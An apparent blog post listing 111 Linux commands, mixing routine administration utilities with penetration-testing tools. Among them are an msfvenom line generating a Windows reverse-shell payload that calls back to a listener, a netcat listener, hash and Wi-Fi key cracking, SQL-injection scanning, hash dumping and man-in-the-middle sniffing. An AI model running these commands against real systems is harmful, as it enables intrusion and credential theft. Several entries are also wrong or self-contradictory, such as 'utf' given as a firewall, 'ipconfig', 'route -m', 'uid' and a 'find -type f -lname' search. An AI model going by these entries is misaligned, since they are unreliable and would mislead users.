111 Linux Commands - All Purpose

1. curl: Command-line tool to transfer data with URLs. Example: curl https://www.example.com (downloads the content of example.com)

2. strace file: Trace system calls and signals. Example: strace ls (traces system calls made by the 'ls' command)

3. base64: Encode/decode binary files to/from base64. Example: base64 image.jpg (encodes an image file into base64)

4. htop: Interactive process viewer

5. uniq: Display unique lines from a sorted file. Example: sort file.txt | uniq (removes duplicate lines from a sorted text file)

6. rot13: Rotate characters by 13 positions. Example: echo "Hello" | tr 'A-Za-z' 'N-ZA-Mn-za-m' (applies ROT13 encryption to the text)

7. fish: A shell. Must try

8. gzip: Compress or decompress files. Example: gzip file.txt (compresses the 'file.txt' and creates 'file.txt.gz')

9. netsparker: Web application security scanner. Example: netsparker scan https://www.example.com (scans a website for vulnerabilities)

10. intruder: Automates customized attacks. Example: intruder -target https://www.example.com -payloads payloads.txt (automates attacks with custom payloads)

11. traceroute: Discover the path packets take across an IP network. Example: traceroute www.google.com (displays the route taken by packets to reach Google's servers)

12. burpsuit: Web vulnerability scanner and proxy tool. Example: burpsuite (opens the Burp Suite graphical interface)

13. ipconfig: config a network interface.

14. aircrack: Wi-Fi network security tool. Example: aircrack-ng capture.cap (cracks WEP or WPA keys from a Wi-Fi capture file)

15. hashcat: Password recovery tool. Example: hashcat -m 0 hash.txt wordlist.txt (attempts to crack a hash using a wordlist)

16. netstumbler: Wireless network discovery tool. Example: netstumbler (scans for nearby wireless networks)

17. SQLmap: Detect and exploit SQL injection vulnerabilities. Example: sqlmap -u "https://www.example.com/index.php?id=1" (explores SQL injection on a website)

18. dig: DNS lookup utility. Example: dig www.example.com (performs a DNS lookup for example.com)

19. wall: Send messages to all users' terminals. Example: echo "Emergency meeting at 2 PM!" | wall (sends a message to all users)

20. w: Show who is logged on and what they're doing. Example: w (displays information about currently logged-in users)

21. mkpasswd: Generate passwords. Example: mkpasswd -m sha-512 (generates a SHA-512 hashed password)

22. lsof: List ipen files.

23. df: report file system space. eg df -h

24. free: Display amount of free and used memeoty in system. eg free -h

25. dpkg -i: Install a Debian package. Example: dpkg -i package.deb (installs a Debian package)

26. whatweb: Web scanner. Example: whatweb www.example.com (scans a website and gathers information)

27. searchsploit: Search for exploits in Exploit Database. Example: searchsploit wordpress (searches for exploits related to WordPress)

28. ip a: Show IP addresses of network interfaces. Example: ip a (displays IP addresses and network interfaces)

29. arp -a: Display or modify the IP-to-Physical address translation tables. Example: arp -a (displays the ARP table)

30. route: Show or manipulate IP routing table. Example: route -n (displays the IP routing table)

31. nikto: Web server scanner. Example: nikto -h www.example.com (scans a web server for vulnerabilities)

32. nss: Name Service Switch configuration file. Example: cat /etc/nsswitch.conf (displays the NSS configuration)

33. vega: Web security scanner and testing platform. Example: vega (opens the Vega graphical interface)

34. utf: program for managing a netfilter firewall.

35. rsync: a fast, versatile, remote (and local) file-copying tool.

36. directives: Configuration settings for various applications. Example: nginx -t (checks the syntax of Nginx configuration)

37. msf console: Metasploit Framework console. Example: msfconsole (opens the Metasploit Framework console)

38. msf venom: Metasploit payload generator. Example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > payload.exe (generates a Windows reverse shell payload)

39. subclient: ftp-like client to access SMB/CIFS resources on servers.

40. ping: Send ICMP echo requests to network hosts. Example: ping www.google.com (sends ICMP requests to Google)

41. traceroute: Determine the route taken by packets. Example: traceroute www.example.com (displays the route taken by packets to reach example.com)

42. whois: Lookup domain registration information. Example: whois example.com (retrieves WHOIS information for example.com)

43. ip route show: Display routing table. Example: ip route show (displays the IP routing table)

44. ip addr: Show IP address settings for network interfaces. Example: ip addr show eth0 (displays IP address settings for the 'eth0' interface)

45. service network manager: Manage network services. Example: service NetworkManager restart (restarts the NetworkManager service)

46. netstat: Network statistics. Example: netstat -tuln (displays active TCP and UDP network connections)

47. FTP - 21: File Transfer Protocol. Example: ftp ftp.example.com (connects to an FTP server)

48. SSH - 22: Secure Shell. Example: ssh user@host (connects to a remote host using SSH)

49. SMB - 139, 445: Server Message Block protocol. Example: smbclient -L //host (lists shares on an SMB server)

50. HTTP/S - 80, 443: Hypertext Transfer Protocol/Secure. Example: curl http://www.example.com (downloads content from example.com)

51. less: Display file contents. Example: less file.txt (displays the content of a file)

52. route -m: Display current routing table. Example: route -m (displays the IP routing table)

53. whatis: display one-line manual page descriptions. eg whatis ls

54. whereis: locate the binary, source, and manual page files for a command. eg whereis ls

55. wc -l: Count lines in a file. Example: wc -l file.txt (counts the number of lines in 'file.txt')

56. sort -u: Sort and remove duplicates from text files. Example: sort -u file.txt (sorts and removes duplicate lines from 'file.txt')

57. cron: Schedule tasks at specific times. Example: crontab -e (edit the user's crontab file)

58. setuid: Set user or group ID on execution. Example: chmod u+s file (sets the SUID permission on 'file')

59. searchsploit: Exploit Database Archive Search. eg searchsploit ssh

60. netdiscover: active/passive ARP reconnaissance tool.

61. curl: Command-line tool to transfer data with URLs. Example: curl https://www.example.com (downloads the content of example.com)

62. wget: Command-line utility to download files. Example: wget https://www.example.com/file.txt (downloads 'file.txt' from example.com)

63. binwalk: Firmware analysis tool. Example: binwalk firmware.img (analyzes a firmware image)

64. zip2john: Convert zip file to John the Ripper format. Example: zip2john archive.zip > hash.txt (converts 'archive.zip' to John format)

65. arp: Display or modify the IP-to-Physical address translation tables. Example: arp -a (displays the ARP table)

66. sudo -l: List user's privileges. Example: sudo -l (lists user's sudo privileges)

67. top: Monitor system activity. Example: top (displays real-time system activity)

68. hashdump: Dump password hashes. Example: hashdump (dumps password hashes from a system)

69. nc - vnlp port: Netcat listener on a port. Example: nc -vnlp 4444 (starts a Netcat listener on port 4444)

70. nc ip port: Netcat connection to an IP and port. Example: nc 192.168.1.2 80 (opens a Netcat connection to IP 192.168.1.2 on port 80)

71. proxychains: redirect connections through proxy servers.

72. uid: User ID. Example: uid (displays user's ID)

73. macchanger: Change MAC address. Example: macchanger -r eth0 (randomly changes MAC address of 'eth0')

74. ss: Socket statistics. Example: ss -tuln (displays TCP and UDP socket statistics)

75. netstat -r: Display routing table. Example: netstat -r (displays the IP routing table)

76. netstat -t: Display TCP connections. Example: netstat -t (displays active TCP connections)

77. netstat -l -list: Display listening sockets. Example: netstat -l -list (displays listening sockets)

78. netdiscober -i eth0: Scan eth0 connections.

79. dns: Domain Name System. Example: nslookup www.example.com (performs DNS lookup for example.com)

80. htop: Interactive process viewer. Example: htop (displays interactive system processes)

81. systemctl: Control the systemd system and service manager. Example: systemctl start service-name (starts a systemd service)

82. ssl: Secure Sockets Layer.

83. tar -xf: Extract files from a tar archive. Example: tar -xf archive.tar.gz (extracts 'archive.tar.gz')

84. bzip2: File compression tool. Example: bzip2 file.txt (compresses 'file.txt' and creates 'file.txt.bz2')

85. nessus: Vulnerability scanner. Example: nessus (starts the Nessus vulnerability scanner)

86. cut: Remove sections from lines of files. Example: cut -d',' -f1 file.csv (removes first field from CSV file)

87. rand: Generate random numbers.

88. ettercap: multipurpose sniffer/content filter for man in the middle attacks.

89. netsparker: Web application security scanner. Example: netsparker scan https://www.example.com (scans a website for vulnerabilities)

90. acunetis: Web vulnerability scanner.

91. metasploit: Penetration testing framework. Example: msfconsole (opens the Metasploit console)

92. aircrack -ng: Wi-Fi network security tool. Example: aircrack-ng capture.cap (cracks WEP/WPA keys from a Wi-Fi capture file)

93. strings: Display printable characters from files. Example: strings binary.exe (displays printable strings from 'binary.exe')

94. lspci: List all pci devices.

95. ps -aux: All running processes.

96. free: Display memory usage. Example: free -h (displays memory usage in human-readable format)

97. iftop: Real-time console-based network bandwidth monitoring tool. Example: iftop -i eth0 (monitors bandwidth on 'eth0')

98. umask: Set file permissions. Example: umask 0022 (sets default file permissions)

99. hunter.io: An email hunter tool that helps marketers find the contact information associated with any domain.

100. crt.sh: Certificate Search.

101. sublist3r: Subdomain enumeration tool. Example: sublist3r -d example.com (enumerates subdomains of example.com)

102. builtwith: Web technology profiler. Example: builtwith https://www.example.com (profiles technologies used by a website)

103. locate: Search files using a pre-built database. Example: locate file.txt (searches for 'file.txt' in the database)

104. grep: Search text for patterns. Example: grep pattern file.txt (searches for 'pattern' in 'file.txt')

105. |: Pipe operator. Example: ls -l | grep ".txt" (pipes 'ls -l' output to 'grep' to filter .txt files)

106. group: User group management. Example: groupadd mygroup (creates a new user group 'mygroup')

107. lscpu: display information about the CPU architecture.

108. find: Search for files and directories. Example: find /path/to/search -name "*.txt" (finds all .txt files)

109. find -type f -lname "fileName": Searches for symbolic links with the specified target filename. Example: find /path/to/search -type f -lname "target.txt" (finds symbolic links to 'target.txt')

110. ltrace: A library call tracker. eg ltrace ls

111. locate: Find files by name, quickly

All these commands are from the notes that accumulate as tooks to check, and I thought I must share them with everyone. I took help from Google, Whatis Command, and ChatGPT. If you have anymore suggestions do comment.

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